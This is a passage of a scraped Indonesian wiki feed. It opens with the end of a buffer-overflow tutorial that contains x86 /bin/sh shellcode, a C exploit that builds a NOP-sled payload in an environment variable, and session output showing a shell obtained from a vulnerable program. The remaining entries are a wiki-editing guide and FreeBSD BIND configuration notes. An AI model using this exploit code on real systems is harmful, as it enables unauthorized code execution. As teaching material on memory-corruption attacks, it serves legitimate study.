 &amp;quot;\xb0\x3b\xcd\x80\x83\xec\xea\xc9&amp;quot;&lt;br /&gt;
 &amp;quot;\xc3\xe8\xdc\xff\xff\xff\x2f\x62&amp;quot;&lt;br /&gt;
 &amp;quot;\x69\x6e\x2f\x73\x68\x30\x31\x32&amp;quot;&lt;br /&gt;
 &amp;quot;\x33\x34\x35\x36\x37\x38&amp;quot;&lt;br /&gt;
 ;&lt;br /&gt;
 &lt;br /&gt;
 /*&lt;br /&gt;
 char shell_new[] =&lt;br /&gt;
 // yang ini lebih singkat&lt;br /&gt;
 &amp;quot;\xeb\x1f\x5f\x57\x31\xc0\x83\xef&amp;quot;&lt;br /&gt;
 &amp;quot;\xf9\xfc\xaa\x58\xab\x31\xc0\xab&amp;quot;&lt;br /&gt;
 &amp;quot;\x50\x83\xc7\xf8\x57\xff\x37\x50&amp;quot;&lt;br /&gt;
 &amp;quot;\xb0\x3b\xcd\x80\x83\xec\xea\xc9&amp;quot;&lt;br /&gt;
 &amp;quot;\xc3\xe8\xdc\xff\xff\xff\x2f\x62&amp;quot;&lt;br /&gt;
 &amp;quot;\x69\x6e\x2f\x73\x68\x30\x31\x32&amp;quot;&lt;br /&gt;
 &amp;quot;\x33\x34\x35\x36\x37\x38&amp;quot;&lt;br /&gt;
 ;&lt;br /&gt;
 &lt;br /&gt;
 char shell_old[] =&lt;br /&gt;
 // yang ini lebih portable&lt;br /&gt;
 &amp;quot;\xeb\x21\x5f\x57\x31\xc0\x83\xef&amp;quot;&lt;br /&gt;
 &amp;quot;\xf9\xfc\xaa\x58\xab\x31\xc0\xab&amp;quot;&lt;br /&gt;
 &amp;quot;\x50\x8d\x77\xf8\x56\x8b\x77\xf8&amp;quot;&lt;br /&gt;
 &amp;quot;\x56\x50\xb0\x3b\xcd\x80\x83\xec&amp;quot;&lt;br /&gt;
 &amp;quot;\xea\xc9\xc3\xe8\xda\xff\xff\xff&amp;quot;&lt;br /&gt;
 &amp;quot;\x2f\x62\x69\x6e\x2f\x73\x68\x30&amp;quot;&lt;br /&gt;
 &amp;quot;\x31\x32\x33\x34\x35\x36\x37\x38&amp;quot;&lt;br /&gt;
 ;&lt;br /&gt;
 */&lt;br /&gt;
 &lt;br /&gt;
 int SP(void) {&lt;br /&gt;
   asm(&amp;quot;movl %esp,%eax&amp;quot;);&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 int main(int argc, char *argv[]) {&lt;br /&gt;
   char&lt;br /&gt;
     *B,		// memory allocated for buffer&lt;br /&gt;
     *pb;	// intermediate pointer for buffer&lt;br /&gt;
   long&lt;br /&gt;
     X,		// return-address as number&lt;br /&gt;
     *px;	// counter pointer&lt;br /&gt;
 &lt;br /&gt;
   int i,&lt;br /&gt;
     bufsize, mid, offsize, align,&lt;br /&gt;
     codelength = strlen(shell);&lt;br /&gt;
 &lt;br /&gt;
   bufsize = argc &amp;gt; 1 ? atoi(argv[1]) : DEFAULT_BUFSIZE;&lt;br /&gt;
   if (bufsize &amp;lt; codelength) bufsize = DEFAULT_BUFSIZE;&lt;br /&gt;
   offsize = argc &amp;gt; 2 ? atoi(argv[2]) : DEFAULT_OFFSET;&lt;br /&gt;
   align = argc &amp;gt; 3 ? atoi(argv[3])%4 : ALIGNMENT;&lt;br /&gt;
   mid = bufsize-midpointer(bufsize);&lt;br /&gt;
 &lt;br /&gt;
   if (B = (char*) malloc(bufsize + 1)) { &lt;br /&gt;
     memset(B, NOP, mid);&lt;br /&gt;
     pb = B;&lt;br /&gt;
   }&lt;br /&gt;
   else exit(1);&lt;br /&gt;
 &lt;br /&gt;
   X = SP() - offsize;&lt;br /&gt;
 &lt;br /&gt;
   printf(&amp;quot;shellcode=\n%s\n&amp;quot;, shell);&lt;br /&gt;
   printf(&amp;quot;codelength=%u, bufsize=%u, mid=%u (%u-%u)\n&amp;quot;,&lt;br /&gt;
     codelength, bufsize, mid, bufsize, bufsize-mid);&lt;br /&gt;
   printf(&amp;quot;ESP: x%X, Offset: %u (x%X), Effective: x%X, &amp;quot;,&lt;br /&gt;
     X+offsize, offsize, offsize, X);&lt;br /&gt;
   printf(&amp;quot;Alignment %u\n&amp;quot;, align);&lt;br /&gt;
   printf(&amp;quot;Environment variable: \&amp;quot;%s\&amp;quot;\n&amp;quot;, ENV_STRING);&lt;br /&gt;
 &lt;br /&gt;
   (char *) px = (pb + mid + align); &lt;br /&gt;
 &lt;br /&gt;
   for (i = mid; i &amp;lt; bufsize; i+=4)	// size of pointer&lt;br /&gt;
     *(px++) = X;			// = 4 bytes&lt;br /&gt;
 &lt;br /&gt;
   pb = B + mid - midpointer(codelength);&lt;br /&gt;
 &lt;br /&gt;
   for (i = 0; i &amp;lt; codelength; i++)&lt;br /&gt;
     *(pb++) = shell[i];&lt;br /&gt;
 &lt;br /&gt;
   B[bufsize] = &#039;\0&#039;;&lt;br /&gt;
 &lt;br /&gt;
   setenv(ENV_STRING, B, 1);&lt;br /&gt;
   system(getenv(&amp;quot;SHELL&amp;quot;));&lt;br /&gt;
 &lt;br /&gt;
 }&lt;br /&gt;
 ------------------------------------------------------------&lt;br /&gt;
 [aa]$gcc -o exploit exploit.c&lt;br /&gt;
 &lt;br /&gt;
 Dengan contoh exploitable-buffer sebesar 256 bytes pada program&lt;br /&gt;
 victim diatas, kita coba program exploit untuk mengeset&lt;br /&gt;
 environment variabel BUF dengan exploit-code yang panjangnya 300&lt;br /&gt;
 (bytes)&lt;br /&gt;
 &lt;br /&gt;
 [aa]$./exploit 300&lt;br /&gt;
 shellcode=&lt;br /&gt;
 ë_W1ÀïùüªX«1À«PÇøWÿ7P°;ÍìêÉÃèÜÿÿÿ/bin/sh012345678&lt;br /&gt;
 codelength=54, bufsize=300, mid=152 (300-148)&lt;br /&gt;
 ESP: xBFBFFB60, Offset: 0 (x0), Effective: xBFBFFB60, Alignment 0&lt;br /&gt;
 Environment variable: &amp;quot;BUF&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
 Program exploit membuka shell baru dengan environment &amp;quot;BUF&amp;quot; yang&lt;br /&gt;
 di-set sesuai exploit-code (300 bytes). Lalu inputkan&lt;br /&gt;
 exploit-code tsb. menjadi argumen untuk program victim:&lt;br /&gt;
 &lt;br /&gt;
 [aa]$./victim &amp;quot;$BUF&amp;quot;&lt;br /&gt;
 ë_W1ÀïùüªX«1À«PÇøWÿ7P°;ÍìêÉÃèÜÿÿÿ/bin/sh012345678¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿&lt;br /&gt;
 Bus error (core dumped)&lt;br /&gt;
 [aa]$&lt;br /&gt;
 &lt;br /&gt;
 Yaah... hasilnya kacau :(, kita keluar saja deh...&lt;br /&gt;
 &lt;br /&gt;
 [aa]$exit&lt;br /&gt;
 exit&lt;br /&gt;
 [aa]$&lt;br /&gt;
 &lt;br /&gt;
 Rupanya ada yang kelupaan, karena exploitable-buffer dalam&lt;br /&gt;
 program victim diatas besarnya adalah 256 bytes, maka sebaiknya&lt;br /&gt;
 kita kurangi SP sebesar kira-kira segitu, yaitu dengan&lt;br /&gt;
 menggunakan offset, misalnya 200 lah...&lt;br /&gt;
 &lt;br /&gt;
 [aa]$./exploit 300 200&lt;br /&gt;
 shellcode=&lt;br /&gt;
 ë_W1ÀïùüªX«1À«PÇøWÿ7P°;ÍìêÉÃèÜÿÿÿ/bin/sh012345678&lt;br /&gt;
 codelength=54, bufsize=300, mid=152 (300-148)&lt;br /&gt;
 ESP: xBFBFFB60, Offset: 200 (xC8), Effective: xBFBFFA98, Alignment 0&lt;br /&gt;
 Environment variable: &amp;quot;BUF&amp;quot;&lt;br /&gt;
 [aa]$&lt;br /&gt;
 &lt;br /&gt;
 Dengan cara yang sama seperti diatas, kita embat lagi buffernya&lt;br /&gt;
 &lt;br /&gt;
 [aa]$./victim &amp;quot;$BUF&amp;quot;&lt;br /&gt;
 ë_W1ÀïùüªX«1À«PÇøWÿ7P°;ÍìêÉÃèÜÿÿÿ/bin/sh012345678¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿&lt;br /&gt;
 $ 	=&amp;gt; (INI ADALAH SHELL)&lt;br /&gt;
 &lt;br /&gt;
 Wow! kereen... :).&lt;br /&gt;
 &lt;br /&gt;
 $ exit&lt;br /&gt;
 [aa]$exit&lt;br /&gt;
 exit&lt;br /&gt;
 [aa]$&lt;br /&gt;
 &lt;br /&gt;
 Coba lagi nilai lainnya, nilai offset mestinya lebih besar dari&lt;br /&gt;
 mid (middle point of buffer) supaya return address jatuhnya di&lt;br /&gt;
 bantalan NOP yang empuk.&lt;br /&gt;
 &lt;br /&gt;
 [aa]$./exploit 400 300&lt;br /&gt;
 shellcode=&lt;br /&gt;
 ë_W1ÀïùüªX«1À«PÇøWÿ7P°;ÍìêÉÃèÜÿÿÿ/bin/sh012345678&lt;br /&gt;
 codelength=54, bufsize=400, mid=200 (400-200)&lt;br /&gt;
 ESP: xBFBFFB60, Offset: 300 (x12C), Effective: xBFBFFA34, Alignment 0&lt;br /&gt;
 Environment variable: &amp;quot;BUF&amp;quot;&lt;br /&gt;
 [aa]$./victim &amp;quot;$BUF&amp;quot;&lt;br /&gt;
 ë_W1ÀïùüªX«1À«PÇøWÿ7P°;ÍìêÉÃèÜÿÿÿ/bin/sh012345678¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿&lt;br /&gt;
 $ 	=&amp;gt; (INI ADALAH SHELL)&lt;br /&gt;
 &lt;br /&gt;
 Gracias!&lt;br /&gt;
 &lt;br /&gt;
 $ exit&lt;br /&gt;
 [aa]$exit&lt;br /&gt;
 exit&lt;br /&gt;
 [aa]$&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 4. Penutup&lt;br /&gt;
 Udah-ah, capek :)&lt;br /&gt;
 _________________________________________________________________&lt;br /&gt;
 Bacaan:&lt;br /&gt;
 &amp;quot;Smashing the Stack for Fun and Profit&amp;quot;, Aleph One, Phrack Magazine 49, Volume Seven, Issue Forty­Nine, File 14.&lt;br /&gt;
 _________________________________________________________________&lt;br /&gt;
 by: aa,&lt;br /&gt;
 kritik dan saran: aa.delphi.AT.yahoo.DOT.com&lt;br /&gt;
 jakarta,&lt;br /&gt;
 20030406&lt;br /&gt;
 20030415&lt;br /&gt;
 20030417&lt;/div&gt;</summary>
		<author><name>Aa</name></author>
	</entry>
	<entry>
		<id>https://lms.onnocenter.or.id/wiki/index.php?title=Langkah_Singkat_Untuk_Aktif_Menulis_di_Wiki&amp;diff=4674</id>
		<title>Langkah Singkat Untuk Aktif Menulis di Wiki</title>
		<link rel="alternate" type="text/html" href="https://lms.onnocenter.or.id/wiki/index.php?title=Langkah_Singkat_Untuk_Aktif_Menulis_di_Wiki&amp;diff=4674"/>
		<updated>2008-07-29T15:13:24Z</updated>

		<summary type="html">&lt;p&gt;Aa: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;1. Membuat account di Wiki.&lt;br /&gt;
* Menu untuk membuat account terdapat di bagian login.&lt;br /&gt;
* Masukan data yang dibutuhkan untuk membuat account, seperti, username, password, e-mail anda.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2. &#039;&#039;&#039;Login ke Wiki dengan username &amp;amp; password yang baru dibuat.&#039;&#039;&#039; Perlu di catat disini bahwa Wiki tidak akan mengijinkan anda untuk mengedit sesuatu jika tidak login ke Wiki. Ini dilakukan sebagai proteksi terhadap spammer.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3. Masukan judul / kalimat / keyword dari kata yang ingin anda terangkan.&lt;br /&gt;
* Jika judul tersebut belum ada, biasanya anda akan di berikan pilihan untuk menuliskan artikel tentang judul / keyword tersebut.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
4. Klik simpan / save, jika tulisan anda anggap cukup.&lt;/div&gt;</summary>
		<author><name>Aa</name></author>
	</entry>
	<entry>
		<id>https://lms.onnocenter.or.id/wiki/index.php?title=Mengoptimalkan_kemampuan_firewall_dan_proxy_server_FreeBSD_dalam_sebuah_network_sederhana_yang_hanya_memiliki_satu_IP_global&amp;diff=4665</id>
		<title>Mengoptimalkan kemampuan firewall dan proxy server FreeBSD dalam sebuah network sederhana yang hanya memiliki satu IP global</title>
		<link rel="alternate" type="text/html" href="https://lms.onnocenter.or.id/wiki/index.php?title=Mengoptimalkan_kemampuan_firewall_dan_proxy_server_FreeBSD_dalam_sebuah_network_sederhana_yang_hanya_memiliki_satu_IP_global&amp;diff=4665"/>
		<updated>2008-07-27T04:00:54Z</updated>

		<summary type="html">&lt;p&gt;Aa: /* DNS Server in the sand-box */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Sumber:  aa, aa.delphi@yahoo.com&lt;br /&gt;
URL: http://opensource.telkomspeedy.com/forum/viewtopic.php?pid=22122&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dalam tulisan ini akan dibahas (mudah-mudahan) secara cukup detail, bagaimana mengoptimalkan kemampuan firewall dan proxy server FreeBSD dalam sebuah network sederhana yang hanya memiliki satu IP global, baik dinamik maupun statik (dial-up PPP, Cable-Modem atau DSL).&lt;br /&gt;
&lt;br /&gt;
Model network seperti ini merupakan model yang sangat umum digunakan oleh warnet serta perusahaan kecil yang berniat untuk memberikan akses internet yang murah meriah bagi para karyawannya.&lt;br /&gt;
&lt;br /&gt;
Teknik yang akan dibahas ini merupakan salah satu (mungkin merupakan yang terbaik) dibandingkan dengan alternatif lainnya seperti menggunakan hardware tertentu (modem dengan kapabilitas internet sharing), kelemahan: jumlah host sangat terbatas, antara 2 - 8, serta fleksibilitasnya sangat rendah, hampir tanpa menggunakan pengamanan dari intruder.&lt;br /&gt;
&lt;br /&gt;
Pilihan lainnya adalah dengan sistem operasi MS Windows (yang sudah sangat familiar), fleksibilitas cukup, namun dengan tingkat pengamanan yang relatif rendah.&lt;br /&gt;
&lt;br /&gt;
Pilihan OS lainnya seperti Linux, OpenBSD atau Solaris bisa juga diperhitungkan, namun overall performance, kombinasi FreeBSD dan IPF adalah yang terbaik dinilai dari segi keamanan/security, performansi, dukungan resources (software, kompatibilitas, utilitas dan dokumentasi) yang tersedia, serta biaya yang dibutuhkan. Dengan FreeBSD mesin 386 tua milik kita disulap menjadi sebuah server yang powerful, robust dan tahan banting.&lt;br /&gt;
&lt;br /&gt;
cat: IPF (IPFilter) adalah paket firewal native dari OpenBSD, sistem operasi yang selama ini dinilai sebagai salah satu OS yang dianggap paling secure.&lt;br /&gt;
&lt;br /&gt;
==Topologi Network==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
===============================================&lt;br /&gt;
&lt;br /&gt;
             _____&lt;br /&gt;
            | ISP |&lt;br /&gt;
            |_____|&lt;br /&gt;
  DNS: 202.155.0.10, 202.155.0.20&lt;br /&gt;
               |&lt;br /&gt;
               | 10.20.30.40&lt;br /&gt;
            ___|___  &lt;br /&gt;
           |FreeBSD|........... &lt;br /&gt;
           |_______|  Virtual-Host 192.168.2.1&lt;br /&gt;
  my.domain.box|  Gateway      &lt;br /&gt;
   192.168.1.1 |  Firewall - IPF/IPNAT&lt;br /&gt;
               |  DNS Server - BIND&lt;br /&gt;
   Network:    |  HTTP Server - Apache&lt;br /&gt;
   192.168.1.0 |  Proxy Server - Squid&lt;br /&gt;
  255.255.255.0|  SQL Server - MySQL&lt;br /&gt;
               |  &lt;br /&gt;
               |  &lt;br /&gt;
      _________|____...___    &lt;br /&gt;
     |     |     |        |  &lt;br /&gt;
   __|__ __|__ __|__    __|__&lt;br /&gt;
   Host1 Host2 Host3    HostN&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ada 3 pokok bahasan utama dalam kasus ini.&lt;br /&gt;
# DNS&lt;br /&gt;
# DHCP Server&lt;br /&gt;
# IPF/IPNAT&lt;br /&gt;
&lt;br /&gt;
lain-lain: Apache, MySQL dan Squid tidak akan dibahas panjang karena tidak esensial dalam konteks ini.&lt;br /&gt;
&lt;br /&gt;
==DNS==&lt;br /&gt;
&lt;br /&gt;
Untuk mengaktifkan name server jalankan /stand/sysinstal pilih menu Configure, kemudian Startup, lalu aktifkan (enable) named. Jika anda ingin menjalankan named dalam sandbox, isi named flags dengan argumen seperti dalam uraian butir 1.3.&lt;br /&gt;
&lt;br /&gt;
Cara lainnya adalah dengan mengedit langsung /etc/rc.conf, ganti atau tambahkan entri di &lt;br /&gt;
&lt;br /&gt;
 /etc/rc.conf:&lt;br /&gt;
   named_enable=&amp;quot;yes&amp;quot;&lt;br /&gt;
   named_flags=&amp;quot;&amp;quot;  #lihat uraian selanjutnya&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Cache-Only DNS Server==&lt;br /&gt;
&lt;br /&gt;
Konfigurasi DNS yang paling sederhana, yang kemungkinan besar akan berjalan lancar adalah menggunakan konfigurasi jenis cache-only DNS Server, artinya server DNS kita TIDAK memiliki otoritas atas satu zone-pun juga kecuali localhost dan loopback network 127.&lt;br /&gt;
&lt;br /&gt;
Kekurangan dari model DNS Server seperti ini adalah, tentu saja, host-host dalam network kita tidak dapat saling mengenal. Hal ini bisa kita uji dengan perintah ping dari satu host terhadap host lainnya.&lt;br /&gt;
&lt;br /&gt;
cat.: Dalam terminologi BIND, zone adalah suatu area network dimana sebuah server DNS memiliki otoritas atas pengaturan nama atas host-host yang ada di dalamnya.&lt;br /&gt;
&lt;br /&gt;
Untuk network yang relatif sederhana seperti pada small-office atau di organisasi kecil, suatu zone umumnya hanya berupa satu domain, sementara di organisasi yang cukup besar, seperti di lingkungan kampus dan terutama di sebuah ISP, biasanya sebuah server DNS akan menangani suatu zone yang terdiri atas lebih dari satu domain.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Konfigurasi dalam named.conf==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/namedb&amp;quot;;&lt;br /&gt;
   forwarders {&lt;br /&gt;
   // daftar DNS Server ISP kita misalnya:&lt;br /&gt;
     202.155.0.10;&lt;br /&gt;
     202.155.0.20; &lt;br /&gt;
   };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;0.0.127.in-addr.arpa&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;localhost.rev&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;.&amp;quot; {&lt;br /&gt;
   type hint;&lt;br /&gt;
   file &amp;quot;root.servers&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==File-file database==&lt;br /&gt;
&lt;br /&gt;
==File localhost.rev:==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 @TTL 3600&lt;br /&gt;
 @ IN SOA my.domain.box. root.domain.box. (&lt;br /&gt;
   3600,900,36000,3600&lt;br /&gt;
   )&lt;br /&gt;
   IN NS my.domain.box.&lt;br /&gt;
 1 IN PTR localhost.domain.box.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
cat.: Untuk menghindari salah ketik, sebaiknya kita cukup menjalankan perintah: sh make-localhost di direktori /etc/namedb.&lt;br /&gt;
&lt;br /&gt;
==File root.servers:==&lt;br /&gt;
File ini tidak perlu dirubah, biarkan saja sesuai defaultnya.&lt;br /&gt;
&lt;br /&gt;
==Internal-Root DNS Server==&lt;br /&gt;
Seperti dapat dilihat pada gambar diatas, network kita termasuk kedalam network kelas C, dengan alamat 192.168.1.0 dan netmask 255.255.255.0. IP address network card pertama (if_1) ditetapkan oleh ISP, sementara if_2 dapat kita tentukan sendiri.&lt;br /&gt;
&lt;br /&gt;
Selanjutnya kita dapat menetapkan hal-hal sebagai berikut:&lt;br /&gt;
&lt;br /&gt;
 Zone/domain: domain.box&lt;br /&gt;
 Reverse-Network: 1.168.192.in-addr.arpa&lt;br /&gt;
 Server address: 192.168.1.1&lt;br /&gt;
 Server name: my.domain.box&lt;br /&gt;
&lt;br /&gt;
==Konfigurasi dalam named.conf:==&lt;br /&gt;
&lt;br /&gt;
==Konfigurasi awal (Cache-Only DNS Server):==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/namedb&amp;quot;;&lt;br /&gt;
   forwarders {&lt;br /&gt;
   // daftar DNS Server ISP:&lt;br /&gt;
     202.155.0.10;&lt;br /&gt;
     202.155.0.20; &lt;br /&gt;
   };&lt;br /&gt;
   version &amp;quot;19.09.1969&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;0.0.127.in-addr.arpa&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;localhost.rev&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Konfigurasi named.conf yang perlu ditambahkan (atau dirubah):==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 forward;&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;domain.box&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;box/domain.db&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;1.168.192.in-addr.arpa&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;box/domain.rev&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;.&amp;quot; {&lt;br /&gt;
   type hint;&lt;br /&gt;
   //file &amp;quot;root.servers&amp;quot;;&lt;br /&gt;
   file &amp;quot;box/root.box&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==File-file database==&lt;br /&gt;
&lt;br /&gt;
==File localhost.rev:==&lt;br /&gt;
&lt;br /&gt;
Tidak perlu ada perubahan dalam file ini, sama dengan butir 1.1.2.1 diatas.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==File domain.db:==&lt;br /&gt;
&lt;br /&gt;
Berisi daftar translasi name to address untuk seluruh host yang ada di domain domain.box, hati-hati character comment di sini adalah semi-colon (;) bukan hash (#).&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 @TTL 3600&lt;br /&gt;
 @ IN SOA my.domain.box. root.domain.box. (&lt;br /&gt;
   3600,900,36000,3600&lt;br /&gt;
   )&lt;br /&gt;
   IN NS my.domain.box.&lt;br /&gt;
&lt;br /&gt;
 localhost IN A 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
 my IN A 192.168.1.1&lt;br /&gt;
 host1 in cname my&lt;br /&gt;
 host2 IN A 192.168.1.2&lt;br /&gt;
 host3 IN A 192.168.1.3&lt;br /&gt;
 ..&lt;br /&gt;
 ..&lt;br /&gt;
 ..&lt;br /&gt;
 host254 IN A 192.168.1.254&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
cat.: Perhatikan bahwa dalam database ini kita perlu menambahkan entri untuk localhost, sehingga setiap rujukan atas localhost, dari manapun juga, akan diarahkan ke loopback masing-masing.&lt;br /&gt;
&lt;br /&gt;
==File domain.rev:==&lt;br /&gt;
Kebalikan dari domain.db, merupakan reverse address to name atas domain.box untuk network 192.168.1.0/24&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 @TTL 3600&lt;br /&gt;
 @ IN SOA my.domain.box. root.domain.box. (&lt;br /&gt;
   3600,900,36000,3600&lt;br /&gt;
   )&lt;br /&gt;
   IN NS my.domain.box. &lt;br /&gt;
&lt;br /&gt;
 1 IN PTR my&lt;br /&gt;
 2 IN PTR host1&lt;br /&gt;
 3 IN PTR host2&lt;br /&gt;
 ..&lt;br /&gt;
 254 IN PTR host254&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
cat.: Perhatikan bahwa tidak bisa dilakukan reverse untuk alias atau CNAME (canonical-name). Tidak diperbolehkan terdapat *dua entri yang sama* untuk *satu nomor address*, atau dengan kata lain, satu nomor adress tidak boleh merujuk kepada dua nama yang berbeda. Sebaliknya bisa saja terdapat dua nomor address untuk satu nama, misalnya jika kita memiliki dua atau lebih network card dalam satu host yang masing-masing memiliki IP sendiri.&lt;br /&gt;
&lt;br /&gt;
==File root.box:==&lt;br /&gt;
&lt;br /&gt;
File ini merupakan modifikasi dari file root.servers, yaitu dengan menambahkan RR (Resource Record) yang menyatakan bahwa server kita memiliki otoritas atas root domain.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 @TTL 3600&lt;br /&gt;
 @ IN SOA my.domain.box. root.domain.box. (&lt;br /&gt;
   3600,900,36000,3600&lt;br /&gt;
   )&lt;br /&gt;
   IN NS my.domain.box.&lt;br /&gt;
&lt;br /&gt;
 ;domain &amp;quot;domain.box&amp;quot; didelegasikan langsung dari root&lt;br /&gt;
 domain.box. 9999999 IN NS my.domain.box.&lt;br /&gt;
&lt;br /&gt;
 ;juga reverse dari class-C network &lt;br /&gt;
 1.168.192.in-addr.arpa 9999999 IN NS my.domain.box.&lt;br /&gt;
&lt;br /&gt;
 ;glue records&lt;br /&gt;
 my.domain.box. IN A 192.168.1.1&lt;br /&gt;
&lt;br /&gt;
 ;daftar root server selanjutnya sama dengan default di file root.servers&lt;br /&gt;
 ..&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==DNS Server in the sand-box==&lt;br /&gt;
&lt;br /&gt;
Konfigurasi server DNS ini terutama ditujukan untuk memperketat sekuriti sistem network, prinsipnya sederhana, yaitu menjalankan servis DNS (named) oleh non-privilege user, untuk ini biasanya sengaja dibuat satu user khusus, tanpa fasilitas login.&lt;br /&gt;
Sebenarnya untuk model network kita yang sederhana, ancaman sekuriti yang ada mungkin tidak akan terlalu serius. Konfigurasi ini bisa jadi sebagai opsi yang bisa diambil ataupun tidak.&lt;br /&gt;
&lt;br /&gt;
1.3.1&lt;br /&gt;
  Buat user baru untuk servis DNS, misalnya dengan nama: bind.&lt;br /&gt;
  User group: bind (default)&lt;br /&gt;
  User home: /usr/local/bind&lt;br /&gt;
  shell: no, nologin atau nonexistent&lt;br /&gt;
&lt;br /&gt;
1.3.2&lt;br /&gt;
  ganti atau tambahkan entri di /etc/rc.conf:&lt;br /&gt;
  named_flags=&amp;quot;-u bind -g bind -w /usr/local/bind -c named.conf -t /usr/local/bind&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  Penjelasan atas argumen:&lt;br /&gt;
  -u dan -g: user serta group yang menjalankan servis DNS adalah &amp;quot;bind&amp;quot;.&lt;br /&gt;
  -w dan -c: direktori kerja dan nama file konfigurasi yang dipakai.&lt;br /&gt;
  -t: setelah melakukan inisialisasi, servis DNS menjadikan /usr/local/bind&lt;br /&gt;
  sebagai root direktorinya (chroot).&lt;br /&gt;
&lt;br /&gt;
  Dengan penggantian user, group dan chroot, servis DNS ini tidak lagi memiliki akses tak-terbatas atas resources, sehingga perlu dilakukan lagi beberapa penyesuaian:&lt;br /&gt;
&lt;br /&gt;
1.3.2.1&lt;br /&gt;
&lt;br /&gt;
  Servis named dan ndc biasanya menampilkan prosess-id-nya dibawah sub-direktori /var/run, karena root-directory-nya berubah, maka kita harus membuat secara manual subdirektori /var/run dibawah /usr/local/bind, jangan lupa ownershipnya harus disesuaikan menjadi bind:bind&lt;br /&gt;
  &lt;br /&gt;
1.3.2.1&lt;br /&gt;
&lt;br /&gt;
  Jika penyesuaian sub-direktori diatas tidak dilakukan maka setidaknya harus dibuat penyesuaian dalam option named.conf:&lt;br /&gt;
[pre]&lt;br /&gt;
  options {&lt;br /&gt;
    ...&lt;br /&gt;
&lt;br /&gt;
    directory &amp;quot;/&amp;quot;; //(atau mudahnya hapus saja option ini)&lt;br /&gt;
    pid-file &amp;quot;named.pid&amp;quot; //named.pid berada di direktori root yang baru&lt;br /&gt;
&lt;br /&gt;
    ...&lt;br /&gt;
  }&lt;br /&gt;
[/pre]&lt;br /&gt;
&lt;br /&gt;
1.3.3&lt;br /&gt;
&lt;br /&gt;
  Pindahkan atau salin /etc/namedb ke /usr/local/bind.&lt;br /&gt;
&lt;br /&gt;
